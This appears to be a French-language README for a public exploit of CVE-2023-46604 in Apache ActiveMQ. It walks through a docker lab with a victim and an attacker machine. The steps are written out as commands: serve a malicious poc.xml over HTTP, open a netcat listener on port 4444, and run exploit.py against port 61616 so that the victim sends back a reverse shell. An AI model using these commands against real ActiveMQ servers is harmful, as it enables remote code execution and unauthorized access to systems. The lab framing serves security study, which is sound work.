ccievoice2009/cve-2023-46604Exploit pour CVE-2023-46604 dans Apache ActiveMQ, permettant l'exécution de code à distance via des charges utiles XML malveillantes et l'établissement d'un shell inverse.
CVE-2023-46604
Construire un docker-compose contenant 2 images : la machine victime et la machine cible selon l'environnement requis. Sur la machine victime, lancer ActiveMQ.
Passer à la machine attaquante : • Ouvrir un service HTTP pour envoyer le poc : python3 -m http.server
• Utiliser netcat pour écouter les connexions vers la machine attaquante : nc -nlvp 4444
• Envoyer le payload pour créer une connexion reverse shell vers la machine attaquante : python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Où :
On peut voir qu'après avoir exécuté la commande du fichier 'exploit.py', le code d'exploitation envoie un paquet 'poc.xml' depuis le serveur web vers la cible, c'est-à-dire l'adresse du service ActiveMQ en cours d'exécution sur le serveur cible. Simultanément, le serveur web HTTP sur la machine attaquante reçoit une requête provenant de l'adresse IP de la machine cible.
Après avoir envoyé le payload, passons au terminal qui écoute sur le port 4444 de la machine attaquante. On constate que le reverse shell de la machine victime a été renvoyé.
